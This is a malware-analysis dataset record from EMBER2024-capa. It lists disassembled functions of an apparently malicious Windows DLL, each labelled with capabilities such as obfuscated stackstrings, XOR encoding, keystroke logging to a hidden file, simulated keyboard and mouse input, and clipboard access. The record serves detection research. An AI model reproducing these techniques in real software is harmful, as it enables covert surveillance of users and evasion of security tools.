joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006ff0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x24]
push edi
lea ecx, [esp + 0x34]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x3c], 0x6b
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], 0x6c
mov byte [esp + 0x42], 0x33
mov byte [esp + 0x43], 0x32
mov byte [esp + 0x44], 0x2e
mov byte [esp + 0x45], 0x64
mov byte [esp + 0x46], 0x6c
mov byte [esp + 0x47], 0x6c
mov byte [esp + 0x48], 0
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], 0x72
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], 0x74
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x46
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], 0x6c
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x41
mov byte [esp + 0x3b], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x1c]
lea eax, [esp + 0x44]
push edx
push eax
mov byte [esp + 0x4c], 0x6b
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x72
mov byte [esp + 0x4f], 0x6e
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x33
mov byte [esp + 0x53], 0x32
mov byte [esp + 0x54], 0x2e
mov byte [esp + 0x55], 0x64
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0x6c
mov byte [esp + 0x58], 0
mov byte [esp + 0x24], 0x57
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x46
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], 0x6c
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0
call esi
push eax
call edi
mov ecx, dword [0x1001ad3c]
push 0
push 0x80
push 4
push 0
push 2
add ecx, 0xd
push 0x40000000
push ecx
mov dword [esp + 0x34], eax
call ebp
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push str.SetFilePointer
push str.kernel32.dll
mov ebp, eax
call esi
push eax
call edi
cmp ebp, 0x3200000
jae 0x10007163
push 2
push 0
push 0
push ebx
call eax
mov edx, dword [esp + 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov dword [esp + 0x14], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, dword [esp + 0x14]
add esp, 4
test edx, edx
mov ebp, eax
jle 0x100071a7
mov ecx, dword [esp + 0x58]
mov dword [esp + 0x58], edx
sub ecx, ebp
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
mov edx, dword [esp + 0x58]
inc eax
dec edx
mov dword [esp + 0x58], edx
jne 0x1000718f
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 0
push eax
push edx
push ebp
push ebx
call dword [esp + 0x2c]
push str.CloseHandle
push str.kernel32.dll
call esi
push eax
call edi
push ebx
call eax
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
Function at 0x10007760
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [0x1001ad4c]
sub esp, 0x28
test eax, eax
jne 0x1000777c
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1001ad4c], eax
push esi
lea ecx, [esp + 0x18]
push edi
mov edi, 0x10015304
lea eax, [esp + 0x1c]
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.10007880
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x10], eax
call esi
mov eax, dword [esp + 0x10]
add esp, 4
neg eax
sbb eax, eax
lea edx, [esp + 0x10]
push str.MyCreateMa
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x30
mov dword [0x1001ad40], eax
call esi
mov eax, dword [0x1001ad40]
add esp, 4
test eax, eax
jne 0x1000780a
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jmp 0x10007842
push 0x30
call esi
mov eax, dword [0x1001ad40]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x30
mov dword [0x1001ad3c], eax
call esi
mov eax, dword [0x1001ad3c]
add esp, 4
test eax, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jne 0x1000785e
test eax, eax
je 0x10007856
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x10007872
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov al, 1
pop esi
add esp, 0x28
ret
Function at 0x10007a00
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes

Disassembly:
sub esp, 0x24
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
push ebx
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 0x15], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x20], al
push ebp
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x26], cl
lea eax, [esp + 0x18]
push esi
lea ecx, [esp + 0xc]
mov dl, 0x72
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x6e
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], bl
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x27], 0x53
mov byte [esp + 0x28], 0x79
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2c], 0x6d
mov byte [esp + 0x2d], 0x44
mov byte [esp + 0x2e], 0x69
mov byte [esp + 0x2f], dl
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], dl
mov byte [esp + 0x35], 0x79
mov byte [esp + 0x36], 0x41
mov byte [esp + 0x37], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov esi, eax
call fcn.10007760
test al, al
jne 0x10007ad0
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
push edi
mov edi, dword [0x1001ad3c]
mov ecx, 0x165
xor eax, eax
rep stosd dword es:[edi], eax
mov byte [0x1001ad38], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [0x1001ad3c]
mov dword [0x1001ad34], eax
push 0x104
mov dword [edx + 8], ebx
mov eax, dword [0x1001ad3c]
mov dword [eax + 4], ebx
mov ecx, dword [0x1001ad3c]
xor eax, eax
mov dword [ecx], ebx
mov edx, dword [0x1001ad3c]
mov ecx, 0x20
lea edi, [edx + 0x511]
rep stosd dword es:[edi], eax
mov eax, dword [0x1001ad3c]
add eax, 0xd
push eax
call esi
mov ecx, dword [0x1001ad3c]
push str._syslog.dat
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [0x1001ad4c]
add esp, 4
push str.SetWindowsHookExA
push edx
call ebp
push 0x30
mov edi, eax
call esi
mov eax, dword [0x1001ad3c]
add esp, 4
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10007b89
mov ecx, dword [0x1001ad3c]
mov byte [ecx + 0xc], 1
jmp 0x10007b92
mov edx, dword [0x1001ad3c]
mov byte [edx + 0xc], bl
mov eax, dword [0x1001ad3c]
cmp dword [eax + 4], ebx
jne 0x10007bb6
mov ecx, dword [0x1001ad44]
push ebx
push ecx
push 0x10007360
push 3
call edi
mov edx, dword [0x1001ad3c]
mov dword [edx + 4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x24
ret
Function at 0x10007ef0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10015314
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.10002930
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4

Function at 0x100080e0
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x10014b58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push esi
push edi
mov ebx, ecx
push eax
mov dword [esp + 0x10], ebx
call fcn.10007ef0
mov ecx, 0x41
xor eax, eax
mov edi, 0x1001ad50
mov dword [ebx], 0x1001531c
push str.SHGetSpecialFolderPathA
push str.shell32.dll
rep stosd dword es:[edi], eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 5
push 0x1001ad50
push 0
call eax
mov edi, str.Plugin
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, 0x1001ad50
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x1001ad50
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x1001ad50
call dword [sym.imp.MSVCRT.dll_puts]
add esp, 4
lea eax, [esp + 0x20]
mov ecx, ebx
mov byte [esp + 0x20], 0x81
push 1
push eax
call fcn.10008020
mov ecx, ebx
call fcn.10008090
push 0
push 0
push 0
push ebx
push 0x100087d0
push 0
push 0
call fcn.1000b360
mov ecx, dword [esp + 0x2c]
add esp, 0x1c
mov eax, ebx
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x10008210
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x40
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
lea eax, [esp + 0x14]
push edi
lea ecx, [esp + 0x30]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x38], 0x6b
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x72
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0x6c
mov byte [esp + 0x3e], 0x33
mov byte [esp + 0x3f], 0x32
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x41], 0x64
mov byte [esp + 0x42], 0x6c
mov byte [esp + 0x43], 0x6c
mov byte [esp + 0x44], 0
mov byte [esp + 0x20], 0x57
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x46
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [esp + 0x14], eax
lea edx, [esp + 0x24]
lea eax, [esp + 0x40]
push edx
push eax
mov byte [esp + 0x48], 0x6b
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x72
mov byte [esp + 0x4b], 0x6e
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4d], 0x6c
mov byte [esp + 0x4e], 0x33
mov byte [esp + 0x4f], 0x32
mov byte [esp + 0x50], 0x2e
mov byte [esp + 0x51], 0x64
mov byte [esp + 0x52], 0x6c
mov byte [esp + 0x53], 0x6c
mov byte [esp + 0x54], 0
mov byte [esp + 0x2c], 0x43
mov byte [esp + 0x2d], 0x72
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], 0x61
mov byte [esp + 0x30], 0x74
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x46
mov byte [esp + 0x33], 0x69
mov byte [esp + 0x34], 0x6c
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x41
mov byte [esp + 0x37], 0
call ebp
push eax
call esi
mov ecx, dword [esp + 0x5c]
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push ecx
call eax
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008358
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x40
ret
push str.SetFilePointer
push str.kernel32.dll
call ebp
push eax
call esi
push 2
push 0
push 0
push edi
call eax
mov ebx, dword [esp + 0x58]
xor esi, esi
mov dword [esp + 0x10], esi
mov ecx, dword [esp + 0x54]
lea edx, [esp + 0x10]
mov eax, ebx
push 0
push edx
sub eax, esi
lea edx, [esi + ecx]
push eax
push edx
push edi
call dword [esp + 0x28]
add esi, dword [esp + 0x10]
cmp esi, ebx
jb 0x1000837a
push str.CloseHandle
push str.kernel32.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x40
ret
Function at 0x10008a20
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10014b8e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10007ef0
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x1001532c
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x10008ae7
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x10015324
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x10008b43
push 0x64
push 0
push 8
mov ecx, eax
call fcn.100097b0
jmp 0x10008b45
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x10009240
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.1000b360
push ebx
push 0
push 0
push esi
push 0x100092b0
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.1000b360
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x10009450
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x10009616
call fcn.1000b480
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x10009616
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
push str.SetCursorPos
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebx - 4]
cmp ecx, 0x200
jb 0x100094e2
cmp ecx, 0x208
ja 0x100094e2
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call eax
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x10009592
je 0x1000957a
cmp eax, 0x105
ja 0x1000954e
je 0x10009530
sub eax, 0x100
je 0x10009512
dec eax
je 0x10009530
sub eax, 3
jne case.0x1000959c.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000959c.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000959c.521
sub eax, 0x201
je 0x1000956b
dec eax
jne case.0x1000959c.521
push 0
push 0
push 0
push 0
push 4
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 2
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x100095ff
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x1000959c.521
jmp dword [eax*4 + 0x1000961c]
push 0
push 0
push 0
push 0
push 8
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 0x10
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 0x20
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 0x40
jmp 0x100095ff
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x10009499
pop edi
pop ebp
pop ebx
pop esi
ret 8
Function at 0x100095a3
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x10009616
call fcn.1000b480
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x10009616
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
push str.SetCursorPos
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebx - 4]
cmp ecx, 0x200
jb 0x100094e2
cmp ecx, 0x208
ja 0x100094e2
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call eax
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x10009592
je 0x1000957a
cmp eax, 0x105
ja 0x1000954e
je 0x10009530
sub eax, 0x100
je 0x10009512
dec eax
je 0x10009530
sub eax, 3
jne case.0x1000959c.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000959c.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000959c.521
sub eax, 0x201
je 0x1000956b
dec eax
jne case.0x1000959c.521
push 0
push 0
push 0
push 0
push 4
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 2
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x100095ff
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x1000959c.521
jmp dword [eax*4 + 0x1000961c]
push 0
push 0
push 0
push 0
push 8
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 0x10
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 0x20
jmp 0x100095ff
push 0
push 0
push 0
push 0
push 0x40
jmp 0x100095ff
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x10009499
pop edi
pop ebp
pop ebx
pop esi
ret 8
Function at 0x10009640
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100096a8
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x100096a0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8

Function at 0x100096b0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10009742
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x100096e1
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.10008020
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret